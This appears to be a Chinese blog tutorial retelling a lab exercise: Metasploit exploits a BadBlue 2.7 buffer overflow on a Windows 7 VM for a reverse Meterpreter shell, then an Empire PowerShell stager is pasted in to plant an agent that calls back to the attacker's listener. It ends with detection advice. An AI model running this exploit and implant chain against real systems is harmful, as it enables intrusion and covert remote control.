news 2026/10/10 5:11:42

Infosec_Reference 实战篇:Empire 与 Metasploit 101 —— 从 BadBlue 服务利用到 PowerShell Agent 落地与内存注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Infosec_Reference 实战篇:Empire 与 Metasploit 101 —— 从 BadBlue 服务利用到 PowerShell Agent 落地与内存注入
  • 网络安全
  • 教程

【免费下载链接】Infosec_Reference

An Information Security Reference That Doesn't Suck; https://rmusser.net/git/admin-2/Infosec_Reference for non-MS Git hosted version.

项目地址:https://gitcode.com/gh_mirrors/in/Infosec_Reference
点击查看免费下载

本文基于 Infosec_Reference 仓库中的实战写稿 Empire_and_Metasploit_101.md,完整还原一个“网络服务利用 + 主机后渗透”的经典演练场景:用 Metasploit 利用 Windows 7 虚拟机上的 BadBlue 服务获得低权限 Meterpreter 会话,再通过该会话落地一个 Empire PowerShell Agent,并进一步讲解如何生成 DLL Stager、利用现有 Meterpreter 会话执行 DLL 注入将第二个 Empire Agent 直接注入目标内存。读完后,你将掌握 Metasploit 从扫描、选模块、设参数到出会话的完整流程,以及 Empire “Listener → Stager → Agent” 三段式工作流的实操细节与防御视角。

一、演练目标与攻击链总览

原文档开篇明确了本次演练的目标(Goal):

  1. 网络利用阶段:利用网络服务漏洞获取立足点 —— 在 Windows 7 虚拟机上利用 BadBlue 服务的 PassThru 缓冲区溢出,得到一个低权限的 Meterpreter 会话;
  2. 后渗透阶段:利用这个低权限 shell 在目标机上执行 Empire 的 PowerShell Stager 命令,让一个 Empire Agent 在本地 Windows 7 虚拟机上实例化,随后熟悉 Empire Agent 提供的各项能力;
  3. 进阶阶段:在 Empire 中生成一个DLL Stager,再利用已有的 Meterpreter 会话对目标执行DLL 注入攻击,把另一个 Empire Agent 直接注入目标内存(in-memory),不落盘。

这条链路体现的正是现代红队工具的典型组合:Metasploit 负责“打点”,Empire 负责“驻留与任务执行”,二者会话互通、能力互补。整个演练默认两台机器位于同一子网1.1.254.*:

机器IP角色
Kali 虚拟机1.1.254.2攻击机:Metasploit + Empire 服务端
Windows 7 虚拟机1.1.254.5受害机:运行 BadBlue 2.7 服务

两台虚拟机如何导入具体的虚拟化平台,原文档交由读者自行处理。

二、演练前必须理解:Empire 的设计特性

原文档在 “Pre-Stuff” 一节强调了几个关于 Empire 的关键事实,理解这些特性是后续所有操作的前提:

  • 跨平台:Empire 并非 Windows 专属工具,它提供基于 Python 的 Agent,可以在 macOS 和 Linux 上运行;
  • 可配置通信画像(Malleable C2 Profile):Agent 与 Listener 之间的通信行为是可配置的,这一点与 Cobalt Strike 类似,可以使用预置或自制的通信画像;
  • 以内存驻留为设计目标:Empire 被设计为尽可能不在磁盘留痕、尽量停留在内存中;
  • 例外提醒:Empire 中确实存在一部分会触碰磁盘、违反上述原则的模块,使用前需要自行甄别。模块的完整列表以 Empire 官方仓库为准(仓库在 RT.md 的 Empire 一节中也收录了模块 Wiki、模块合集等延伸资源索引)。

三、环境准备:VM 与软件清单

3.1 Windows 7 受害机

  • 下载 Windows 7 虚拟机镜像:原文档指定使用 Microsoft 开发者工具页提供的 Windows 7 官方 VM 镜像(适用于 Edge 浏览器测试的遗留系统镜像);
  • 在 Windows 7 VM 内部下载并安装BadBlue(来自 ExploitDB 的 EXP-16806 所附应用,即该服务版本的安装包);
  • 解压步骤:BadBlue 下载的是一个.tar文件,需要用 7-Zip 先解出.tar,再解出里面的 zip 包,最终得到安装程序.exe,按普通流程安装即可。

BadBlue 是一款轻量级嵌入式 Web 服务器,其 2.7 版本存在 PassThru 缓冲区溢出漏洞,正是本次演练的被利用服务。

3.2 Kali 攻击机

  • 下载 Kali Linux 虚拟机镜像并导入虚拟化平台;
  • 登录 Kali 后,执行更新:
apt update && apt upgrade -y
  • 安装 Empire(原文档引用的是 Empire 官方的 QuickStart 流程):
git clone <Empire 仓库地址> cd Empire ./setup/install.sh ./setup/setup_database.py

执行完install.sh与setup_database.py后,Empire 即完成安装与初始化配置。

四、第一阶段:Metasploit 利用 BadBlue 服务

在 Kali 上启动 Metasploit 控制台并启动数据库(用于存储扫描与利用记录):

msfconsole

4.1 端口扫描与版本探测

对 Windows 机器做网络扫描,寻找存在漏洞的服务。原文档给出的命令是:

db_nmap -sS -sV --version-intensity=0 -p80 1.1.254.5
  • -sS:SYN(半开放)扫描;
  • -sV:探测服务版本信息;
  • --version-intensity=0:使用最低强度的版本探测(只探测服务自己声称的版本号,不发送探测指纹包),速度最快;
  • -p80:只扫 80 端口(BadBlue 默认监听 HTTP)。

扫描结果应能识别出目标 80 端口上运行的是 BadBlue 2.7x 服务。

4.2 定位并利用漏洞模块

在 msfconsole 中搜索字符串badblue 2.7:

search badblue 2.7

结果中应能注意到模块BadBlue 2.72b PassThru Buffer Overflow。加载并使用该模块:

use exploit/windows/http/badblue_passthru

接下来按 Metasploit 的标准参数检查流程逐项确认:

show targets # 查看该模块支持的 Target 列表 show options # 查看模块可用选项 set RHOST 1.1.254.5 # 设置目标地址 set payload windows/meterpreter/reverse_tcp # 指定反向 TCP 的 Meterpreter 载荷 show options # 查看载荷相关选项(如 LHOST/LPORT) set LHOST 1.1.254.2 # 设置回调地址为 Kali 自身 IP show options # 最终复核全部参数 run # 一切正确后直接执行

参数逻辑很直接:RHOST指向受害机,载荷选windows/meterpreter/reverse_tcp,所以LHOST必须设为攻击机(Kali)的 IP,受害机才能回调过来。

执行成功后,你会获得一个活跃的 Meterpreter 会话并停在meterpreter >提示符。此时可以输入help查看可用命令。仓库的 Metasploit 参考页 收录了 MSF/Meterpreter 命令参考、模块目录结构与 Meterpreter 基础资料索引,可配合阅读;Meterpreter Scripts and Description.txt 则整理了 Meterpreter 脚本的说明。

注意:此时不要在这个终端继续操作。原文档要求另开一个终端窗口,保留 Meterpreter 会话不动,进入 Empire 环节。

五、第二阶段:Empire Listener 与 Stager 生成

5.1 Empire 的总体工作流

进入 Empire 安装目录,以./empire启动。原文档总结了 Empire 的通用工作流,只有三步:

Create listener(创建监听器) → Create stager(创建投放器) → Stager instantiates/pulls down/runs an Agent(投放器实例化、拉取并运行 Agent)

创建 Listener 的方式是进入 listener 菜单,设置相应选项,然后执行execute/run。

5.2 创建并启动 Listener

listeners # 进入 listener 菜单 show options # 查看 listener 可用选项 set Name Test1A # 将 listener 命名为 Test1A run # 实例化并开始监听

run之后,Listener 即开始监听 Agent 的回调。

5.3 生成 Launcher Stager

回到 Empire 主菜单(输入back,若不在主菜单则连续back直到回到主菜单),然后进入 stager:

usestager # 连按两次 Tab 可列出所有可用 stager usestager launcher # 本次只关注 launcher 类型 options # 查看当前 stager 的全部选项 set Listener Test1A # 让 launcher 绑定刚才创建的 listener set OutFile /tmp/test1 # stager 命令输出到该文本文件 options # 复核配置 generate # 生成 stager

generate之后,配置好的 stager 会写入/tmp/test1(原文档后文也称该文件为/tmp/test,即同一输出文件)。打开该文件,里面是一行编码后的 PowerShell 命令——它的作用就是从你的 Listener 处下载并运行一个 Agent。把这行命令完整复制下来。

关于 Stager 的更多类型与原理,原文档指向了 Empire 官方的 Stagers 文档;仓库的 RT.md 在 Empire 一节也聚合了通信画像定制(Communication Profiles)、C2 指标修改、Domain Fronting 等进阶主题的资料索引,可作为延伸阅读。

六、第三阶段:通过 Meterpreter Shell 实例化 Agent

回到之前保留的 Meterpreter 会话窗口:

shell # 从 Meterpreter 进入底层系统 shell

把第五步复制下来的那一行 PowerShell 命令粘贴进这个 Windows 命令行并回车。预期现象是:

  • Windows 侧:命令提示符下没有任何确认输出(这正是 stager 的隐蔽性所在);
  • Kali 侧 Empire 主菜单:会弹出提示,告知你有新 Agent接入。

至此,目标机上的 PowerShell 进程已经作为 Empire Agent 与 Kali 上的Test1AListener 建立了通信链路。

七、第四阶段:与 Agent 交互并下发模块任务

在 Empire 主菜单中,你会看到新 Agent 的提示,Agent 名是一串半随机的字母数字组合。与 Agent 交互的命令序列为:

agents # 进入 agents 菜单 interact <Agent_Name> # 交互指定 Agent

进入交互模式后,你就可以向该 Agent 下发命令了。这里原文档特别强调了一个必须内化的概念:

Empire 不是实时(real-time)工具。它的工作方式是给 Agent 布置任务(tasks),Agent 执行后把结果上报给对应的 Listener。通过 Agent 可以获得接近实时的响应,但它不是实时交互终端,更准确的比喻是“跑腿办事的杂役(errand-boys)”——你派活,它办完回报。

给 Agent 派活的核心命令是usemodule:连按两次 Tab 可以列出当前所有可用的命令模块;也可以直接查看 Empire 主仓库的模块目录(data/module_source)。原文档的经验之谈是:大多数模块在代码内部写有良好注释/文件头部的简短描述,“如果你要运行它,你就该知道它是干什么的”。仓库 RT.md 收录的 “RedTrooperFM – Empire Module Wiki”(一页式模块速查表)和 Empire API Cheat Sheet 正好弥补了“翻代码”这一环节的效率问题。

八、进阶阶段:DLL Stager 与 Meterpreter DLL 注入

原文档设定的最终目标是在 Agent 交互之后继续推进:

  1. 在 Empire 中生成一个 DLL 类型的 Stager(与前面的 PowerShell launcher 同属 Stager 家族,但产物是 DLL);
  2. 利用 Windows 7 VM 上已有的 Meterpreter 会话执行 DLL 注入,将这个 DLL Stager 注入目标进程内存,从而直接以内存方式拉起第二个 Empire Agent,全程不落盘。

这一阶段的战术价值在于:完全绕过“在目标机上运行 PowerShell 命令”这一高可见度动作,把第二个 Agent 的落地隐藏在进程内存中,与 Empire “尽量内存驻留” 的设计初衷一致。Meterpreter 侧的注入依赖其进程操作能力(在meterpreter >下先help查看进程类命令,再结合仓库 Meterpreter 脚本说明 理解相关脚本),而 Empire 侧的 DLL stager 生成流程与 5.3 节的usestager→options→set→generate模式相同,只是 stager 类型换成 DLL 产物。由于原文档对这一阶段的逐步命令未完整展开(写稿在 Agent 交互部分收尾),此处仅按原文档 Goal 的描述给出阶段定位,实际操作细节建议结合 Empire 仓库的 Stagers 文档补齐。

九、防御视角:如何防守这套攻击链

原文档在结尾给出了防守建议(Tips for defending against this),共三条:

  1. Procmon 进程记录(Process Logging):用 Sysinternals Procmon 对进程创建/命令行参数做持续监控。本例中,受害机上会凭空出现一条带超长 Base64 载荷的powershell -enc ...命令行,这是第一阶段 Agent 落地最直接的暴露点;
  2. 网络日志(Network Logging):监控 80 端口的 HTTP 流量异常。BadBlue 溢出成功后,Test1AListener 与 Agent 之间的回连通信(checkin 周期、User-Agent、URI 模式)在 PCAP 中可被异常检测发现;
  3. Hunting Empire(针对 Empire 的威胁狩猎):针对 Empire C2 基础设施与行为的专项狩猎。

仓库中这两个方向都有成体系的资料索引可深入:L-SM-TH.md(Logging, Monitoring & Threat Hunting)收录了多篇以 PowerShell Empire 为样本的攻击检测/威胁狩猎文章,包括基于 Windows 事件日志 + Graylog 的 Empire 狩猎、用 Sysinternals 检测 Empire 行为、从红队 Metasploit/Empire 攻击样本做异常检测等案例;Defense.md 则收录了 Empire 后门清除、用于识别 Empire 持久化载荷的 NorkNork 工具等防守侧资源;sysinternals.md 汇总了 Sysinternals 全家桶(Procmon 即其中之一)的资料。

十、本篇涉及的仓库文档索引

文档用途
Empire_and_Metasploit_101.md本文主体:完整演练写稿
RT.md红队/渗透测试资料总索引,其中 Empire 一节聚合了教程、API 速查、模块 Wiki、通信画像定制等资料
metasploit.mdMetasploit 参考页:MSF/Meterpreter 命令参考、各类型模块目录索引
Meterpreter Scripts and Description.txtMeterpreter 脚本与描述说明
L-SM-TH.md日志/监控/威胁狩猎资料索引,含多篇 Empire 检测与狩猎文章
Defense.md防守资料索引,含 Empire 后门清除与持久化识别工具
sysinternals.mdWindows 系统内部工具(含 Procmon)资料索引

适用前提与限制:本文所有命令均以原文档的演练环境为准——Windows 7 目标(BadBlue 2.7 服务)与 Kali 攻击机同处1.1.254.*子网;BadBlue PassThru 溢出针对的是特定旧版本服务,在真实环境前必须先在隔离实验环境复现。此外 Empire 的 Agent/Listener 通信行为可配置性意味着不同通信画像下,第五至七节的可见痕迹会有差异,防守侧的日志狩猎策略也应随画像调整。

  • 网络安全
  • 教程

【免费下载链接】Infosec_Reference

An Information Security Reference That Doesn't Suck; https://rmusser.net/git/admin-2/Infosec_Reference for non-MS Git hosted version.

项目地址:https://gitcode.com/gh_mirrors/in/Infosec_Reference
点击查看免费下载
上一篇:WeKnora 十分钟部署文档问答 RAG 知识库
下一篇:Diffrax事件处理机制:终止事件与稳态检测完整指南

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/10 5:10:54

中小制造企业数字化软件:该不该上、怎么选、怎么落地?

1. 数字化不是奢侈品&#xff0c;而是被现实逼出来的选择题先给结论&#xff1a;中小型制造企业要不要上数字化软件&#xff0c;答案不是"必须上"&#xff0c;也不是"再等等"&#xff0c;而是"分阶段、看痛点、算细账"。我跑了这么多年制造企业的…

作者头像 李华